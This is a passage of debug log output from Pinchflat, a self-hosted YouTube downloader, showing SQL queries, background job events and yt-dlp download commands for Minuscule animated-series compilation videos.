https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#mosquito #disaster #afternoon #livingroom #trapped #domino #surprises #Minuscule #nature #insects #ladybugs #animatedseries", "A Mosquito Day Afternoon | Minuscule 🍃 60' Compilation", "B9tGisEtM6I", 3087, false, 4, "https://www.youtube.com/watch?v=B9tGisEtM6I", "/downloads/Miniscule Season 1/2025-12-13 A Mosquito Day Afternoon | Minuscule 🍃 60' Compilation/A Mosquito Day Afternoon | Minuscule 🍃 60' Compilation [B9tGisEtM6I].mp4", false, ~U[2025-12-13 07:00:08Z]] 00:47:25.813 [debug] QUERY OK source="sources" db=0.4ms idle=47.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:47:25.814 [debug] QUERY OK source="media_profiles" db=0.4ms idle=13.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:47:25.815 [debug] QUERY OK source="media_items" db=0.5ms idle=13.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [102835] 00:47:25.815 [info] Kicking off download for media item #102835 (B9tGisEtM6I) 00:47:25.818 [debug] QUERY OK source="tasks" db=0.4ms idle=4.0ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [2631, 102835, ~U[2025-12-14 07:47:25Z], ~U[2025-12-14 07:47:25Z]] 00:47:25.818 [debug] Current batch of media processed. Will check again in 1000ms 00:47:25.824 [info] {"args":{"id":102835},"id":2631,"meta":{},"system_time":1765698445824380322,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 00:47:25.825 [debug] QUERY OK source="media_items" db=0.3ms idle=9.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [102835] 00:47:25.825 [info] User scripts lifecyle file either not present or is empty. Skipping. 00:47:25.826 [debug] QUERY OK source="sources" db=0.2ms idle=8.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:47:25.826 [debug] QUERY OK source="media_profiles" db=0.3ms idle=8.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:47:25.827 [debug] QUERY OK source="media_items" db=0.4ms idle=8.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [102835] 00:47:25.828 [debug] QUERY OK source="media_metadata" db=0.1ms idle=4.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [102835] 00:47:25.828 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:47:25.829 [debug] QUERY OK source="settings" db=0.1ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:47:25.829 [debug] QUERY OK source="settings" db=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:47:25.830 [debug] Running yt-dlp command for action: get_downloadable_status 00:47:25.831 [debug] QUERY OK source="settings" db=0.2ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:47:25.831 [debug] QUERY OK source="settings" db=0.2ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:47:25.832 [debug] QUERY OK source="settings" db=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:47:25.832 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=B9tGisEtM6I --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2d/e8/2de8f7a91f7060cc4a93766aefad809839695340a607e19ed1574efbc64e87ec.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 00:47:26.819 [debug] Current batch of media processed. Will check again in 1000ms 00:47:27.437 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ZgQjJ1kgUGE --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/f3/2f/f32f582427f766fb82c33a87039f11e28c73a3048619c1ea8423c61659eb9407.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 00:47:27.438 [debug] Running yt-dlp command for action: download 00:47:27.438 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1608.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:47:27.439 [debug] QUERY OK source="settings" db=0.1ms idle=1607.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:47:27.439 [debug] QUERY OK source="settings" db=0.1ms idle=1607.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:47:27.440 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ZgQjJ1kgUGE --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Miniscule Season 1/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:2160,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Miniscule Season 1/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/b4/a6/b4a669efad60a2bbe28fb42a839aef82c6c4aad3d5de9f57246bdc41cdf7324f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 00:47:27.820 [debug] Current batch of media processed. Will check again in 1000ms 00:47:28.821 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Narcissus | S01E47\n00:04:48 | The Caterpillar and the Brook | S01E08\n00:09:38 | The Caterpillar Who Wanted To See The Ocean | S01E29\n00:14:26 | Lettuce | S01E48\n00:19:13 | Leech | S01E73\n00:23:37 | Nap Time | S01E14\n00:28:26 | Ugly | S01E05\n00:33:13 | The Dung Beetle Battle | S01E15\n00:37:59 | A Snail’s Dream | S01E11\n00:42:48 | Shell-Less | S01E19\n00:47:31 | Caterpillar Dream | S01E20\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Narcissus #beetle #reflection #investigating #caterpillar #brook #leaves #bush #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 3172, "filename" => "/downloads/Miniscule Season 1/2025-12-09 Narcissus 🪞 Minuscule | 65' Compilation/Narcissus 🪞 Minuscule | 65' Compilation [cw7aFgAQz7A].mp4", "id" => "cw7aFgAQz7A", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=cw7aFgAQz7A", "playlist_index" => 5, "timestamp" => 1765263639, "title" => "Narcissus 🪞 Minuscule | 65' Compilation", "upload_date" => "20251209"} 00:47:28.822 [debug] QUERY OK source="sources" db=0.4ms idle=1052.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:47:28.823 [debug] QUERY OK source="sources" db=0.3ms idle=177.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:47:28.824 [debug] QUERY OK source="media_items" db=1.0ms idle=178.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-09 07:00:39Z], 4] 00:47:28.827 [debug] QUERY OK source="media_items" db=2.3ms idle=179.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Narcissus | S01E47\n00:04:48 | The Caterpillar and the Brook | S01E08\n00:09:38 | The Caterpillar Who Wanted To See The Ocean | S01E29\n00:14:26 | Lettuce | S01E48\n00:19:13 | Leech | S01E73\n00:23:37 | Nap Time | S01E14\n00:28:26 | Ugly | S01E05\n00:33:13 | The Dung Beetle Battle | S01E15\n00:37:59 | A Snail’s Dream | S01E11\n00:42:48 | Shell-Less | S01E19\n00:47:31 | Caterpillar Dream | S01E20\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Narcissus #beetle #reflection #investigating #caterpillar #brook #leaves #bush #Minuscule #nature #insects #ladybugs #animatedseries", "Narcissus 🪞 Minuscule | 65' Compilation", "22f02be0-4440-46c7-86ba-4a184dd434ff", "cw7aFgAQz7A", 3172, false, 4, "https://www.youtube.com/watch?v=cw7aFgAQz7A", 5, "/downloads/Miniscule Season 1/2025-12-09 Narcissus 🪞 Minuscule | 65' Compilation/Narcissus 🪞 Minuscule | 65' Compilation [cw7aFgAQz7A].mp4", false, false, false, [], 0, ~U[2025-12-09 07:00:39Z], ~U[2025-12-14 07:47:28Z], ~U[2025-12-14 07:47:28Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Narcissus | S01E47\n00:04:48 | The Caterpillar and the Brook | S01E08\n00:09:38 | The Caterpillar Who Wanted To See The Ocean | S01E29\n00:14:26 | Lettuce | S01E48\n00:19:13 | Leech | S01E73\n00:23:37 | Nap Time | S01E14\n00:28:26 | Ugly | S01E05\n00:33:13 | The Dung Beetle Battle | S01E15\n00:37:59 | A Snail’s Dream | S01E11\n00:42:48 | Shell-Less | S01E19\n00:47:31 | Caterpillar Dream | S01E20\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Narcissus #beetle #reflection #investigating #caterpillar #brook #leaves #bush #Minuscule #nature #insects #ladybugs #animatedseries", "Narcissus 🪞 Minuscule | 65' Compilation", "cw7aFgAQz7A", 3172, false, 4, "https://www.youtube.com/watch?v=cw7aFgAQz7A", "/downloads/Miniscule Season 1/2025-12-09 Narcissus 🪞 Minuscule | 65' Compilation/Narcissus 🪞 Minuscule | 65' Compilation [cw7aFgAQz7A].mp4", false, ~U[2025-12-09 07:00:39Z]] 00:47:28.828 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=56.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:47:28.829 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:47:28.830 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=6.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [102836] 00:47:28.830 [info] Kicking off download for media item #102836 (cw7aFgAQz7A) 00:47:28.833 [debug] QUERY OK source="tasks" db=0.5ms queue=0.1ms idle=4.2ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [2632, 102836, ~U[2025-12-14 07:47:28Z], ~U[2025-12-14 07:47:28Z]] 00:47:28.833 [debug] Current batch of media processed. Will check again in 1000ms 00:47:29.835 [debug] Current batch of media processed. Will check again in 1000ms 00:47:30.836 [debug] Current batch of media processed. Will check again in 1000ms 00:47:31.122 [info] {"source":"oban","duration":1199,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:47:31.837 [debug] Current batch of media processed. Will check again in 1000ms 00:47:32.145 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=B9tGisEtM6I --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2d/e8/2de8f7a91f7060cc4a93766aefad809839695340a607e19ed1574efbc64e87ec.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 00:47:32.145 [debug] Running yt-dlp command for action: download 00:47:32.146 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1500.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:47:32.146 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1501.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:47:32.147 [debug] QUERY OK source="settings" db=0.1ms idle=1371.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:47:32.148 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=B9tGisEtM6I --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Miniscule Season 1/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:2160,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Miniscule Season 1/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/d4/40/d440f581a2a0fba2e1260b53197663538debb2f9cfcc10b42961c3ed21174889.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 00:47:32.838 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Bless You! | S01E66\n00:04:11 | The Winter Of Our Discontent | S01E67\n00:08:59 | Windswept | S01E68\n00:13:48 | No Luck | S01E62\n00:18:31 | Come Christmas | S01E63\n00:23:10 | The Persevering One | S01E31\n00:27:51 | A Gust Of Wind | S01E13\n00:32:33 | Interior Cobwebs | S01E64\n00:37:00 | O Tannenbaum | S01E71\n00:41:39 | Zzzeplin | S01E22\n00:46:28 | Quiet! | S01E60\n00:51:10 | King Size Camembert | S01E45\n00:55:49 | Picnic | S01E24\n01:00:33 | The Ladybug | S01E01\n01:05:10 | Out Of A Tin Can | S01E65\n01:09:45 | The Last Supper | S01E25\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#sneezing #spider #cold #hunting #winter #fly #radiator #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 4505, "filename" => "/downloads/Miniscule Season 1/2025-11-15 Bless You! | Minuscule 🍃 90' Compilation/Bless You! | Minuscule 🍃 90' Compilation [5uW9MeqAADo].mp4", "id" => "5uW9MeqAADo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=5uW9MeqAADo", "playlist_index" => 6, "timestamp" => 1763233204, "title" => "Bless You! | Minuscule 🍃 90' Compilation", "upload_date" => "20251115"} 00:47:32.839 [debug] QUERY OK source="sources" db=0.5ms idle=692.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:47:32.840 [debug] QUERY OK source="sources" db=0.3ms idle=692.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", 